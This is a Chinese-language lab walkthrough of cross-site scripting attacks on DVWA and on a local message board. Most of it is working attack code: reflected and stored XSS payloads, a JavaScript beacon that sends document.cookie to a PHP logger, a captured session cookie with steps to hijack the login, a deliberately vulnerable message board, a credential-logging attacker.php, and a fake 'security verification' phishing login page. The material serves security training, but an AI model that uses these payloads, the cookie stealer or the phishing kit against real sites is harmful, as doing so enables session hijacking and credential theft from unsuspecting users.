1.窃取网页浏览中的cookie值
用户登陆完成之后,网页一般会返回一个cookie值,相当于一个令牌可以直接进行登陆。
如果想要通过script脚本获得当前页面的cookie值,通常会用到cookie。
具体攻击:
靶场实践
DVWA 等级low

尝试输入最简单的弹窗payload
<script>alert(/xss/)</script>

弹窗成功
查看源码
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
简单的get传参,参数为name,无任何过滤
本地利用xss获得cookie值
hacker.js
var img = new Image();
img.src="http://127.0.0.1/DVWA/vulnerabilities/xss_r/hacker.php?x=" + document.cookie;
document.body.append(img);
hacker.php
<?php
$cookie = $_GET['x'];
$ip = getenv ('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$fp = fopen("cookie.txt","a");
fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n");
fclose($fp);
?>
构造一个payload
http://localhost/DVWA-master/vulnerabilities/xss_r/?name=<script src="http://localhost/DVWA-master/vulnerabilities/xss_r/hacker.js" /></script>
发送给其他用户进行访问,并输入自己的名字(安全等级为low)

先登录另一个用户
smithy/password
设置安全等级为low

xss_r目录下面多了一个cookie.txt文件

成功得到了另一个用户的cookie值
IP: ::1Date: 2025-05-18 4:40:28 Cookie:PHPSESSID=qju48o1h63s6n78olt15h1o8sb; security=low
IP: ::1Date: 2025-05-18 4:41:22 Cookie:PHPSESSID=qju48o1h63s6n78olt15h1o8sb; security=low
拿到了其他用户的cookie值那么怎么登陆到其他用户呢?
首先进入到靶场的登陆页面

更改cookie值刷新就可以进入cookie值对应的用户。
2.劫持流量实现恶意跳转
网页中想办法插入一句像这样的语句: <script>window.location.href="http://www.baidu.com";</script>那么所访问的网站就会被跳转到百度的首页
本地实践
环境搭建

根目录下面创建如下的文件
config.php进行数据库配置或者直接创建数据库,并创建表

index.php是有漏洞的留言板
<?php
include 'config.php';
// 处理留言提交
if ($_SERVER["REQUEST_METHOD"] == "POST" && !empty($_POST['message'])) {
$message = $conn->real_escape_string($_POST['message']);
$sql = "INSERT INTO messages (content) VALUES ('$message')";
if (!$conn->query($sql)) {
die("留言提交失败: " . $conn->error);
}
// 防止重复提交
header("Location: ".$_SERVER['PHP_SELF']);
exit;
}
// 获取留言
$result = $conn->query("SELECT content FROM messages ORDER BY id DESC");
?>
<!DOCTYPE html>
<html>
<head>
<title>留言板</title>
<style>
body { font-family: Arial, sans-serif; max-width: 800px; margin: 0 auto; padding: 20px; }
.message { margin: 15px 0; padding: 10px; border: 1px solid #ddd; border-radius: 5px; }
textarea { width: 100%; padding: 10px; margin-bottom: 10px; }
</style>
</head>
<body>
<h1>留言板系统</h1>
<form method="POST">
<textarea name="message" rows="5" required placeholder="请输入留言内容..."></textarea><br>
<button type="submit">提交留言</button>
</form>
<hr>
<h2>留言列表</h2>
<?php if ($result->num_rows > 0): ?>
<?php while($row = $result->fetch_assoc()): ?>
<div class="message"><?= $row['content'] ?></div> <!-- 故意保留XSS漏洞 -->
<?php endwhile; ?>
<?php else: ?>
<p>暂无留言</p>
<?php endif; ?>
</body>
</html>
攻击者收集信息的页面(attacker.php)
<?php
// 记录访问信息
$log = date('Y-m-d H:i:s')." | IP: ".$_SERVER['REMOTE_ADDR']."\n";
$log .= "User-Agent: ".$_SERVER['HTTP_USER_AGENT']."\n";
$log .= "Referer: ".(isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '无')."\n";
$log .= "Cookies: ".print_r($_COOKIE, true)."\n";
$log .= "GET参数: ".print_r($_GET, true)."\n";
$log .= "POST参数: ".print_r($_POST, true)."\n";
$log .= str_repeat("-", 50)."\n";
file_put_contents('attack_log.txt', $log, FILE_APPEND);
// 重定向到钓鱼页面
header("Location: phishing/index.html");
exit;
?>
钓鱼网站的页面
<!DOCTYPE html>
<html>
<head>
<title>系统安全验证</title>
<style>
body { font-family: Arial, sans-serif; max-width: 500px; margin: 50px auto; padding: 20px; }
.login-box { border: 1px solid #ddd; padding: 30px; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); }
input { width: 100%; padding: 12px; margin: 8px 0; box-sizing: border-box; border: 1px solid #ccc; border-radius: 4px; }
button { background-color: #4CAF50; color: white; padding: 12px 20px; border: none; border-radius: 4px; cursor: pointer; width: 100%; }
.warning { color: red; font-weight: bold; margin-bottom: 20px; }
</style>
</head>
<body>
<div class="login-box">
<h2>系统安全验证</h2>
<p class="warning">⚠️ 您的账户存在异常访问,请重新登录验证身份</p>
<form action="../attacker.php" method="POST">
<label for="username">用户名:</label>
<input type="text" id="username" name="username" required>
<label for="password">密码:</label>
<input type="password" id="password" name="password" required>
<button type="submit">立即验证</button>
</form>
<p style="margin-top: 20px; font-size: 12px; color: #777;">
如果您遇到任何问题,请联系系统管理员。
</p>
</div>
</body>
</html>
漏洞实践
访问留言板
http://localhost/xss-demo/index.php
输入下面的代码当作留言,提交留言
<script>
window.location.href = 'attacker.php?from=xss&cookie=' + encodeURIComponent(document.cookie);
</script>
再重新访问留言板
页面跳转到下面的页面即钓鱼网站的页面,即假装网页的登陆失效要求用户重新登陆
用户只要输入并且进验证的话就会将账号和密码等信息收集储存起来


恶意脚本解释
<script>
window.location.href = 'attacker.php?from=xss&cookie=' + encodeURIComponent(document.cookie);
</script>
首先是window.location.href 操作
作用是修改当前的窗口的url,跳转到新的页面(使用户在不知道的情况下面被群迫进行了网页的重定向)
attacker.php
由攻击者指定的恶意脚本,同域名下面的恶意文件,本地测试可以直接写,实战的话就得利用已有的文件上传漏洞。
参数from =xss
只是简单地标识攻击的方式
cookie=+encodeURIComponent(document.cookie)
document.cookie
获取当前网站的所有cookie
encodeURIComponent()
对特殊字符进行URL编码,确保数据完整传输
攻击过程图示
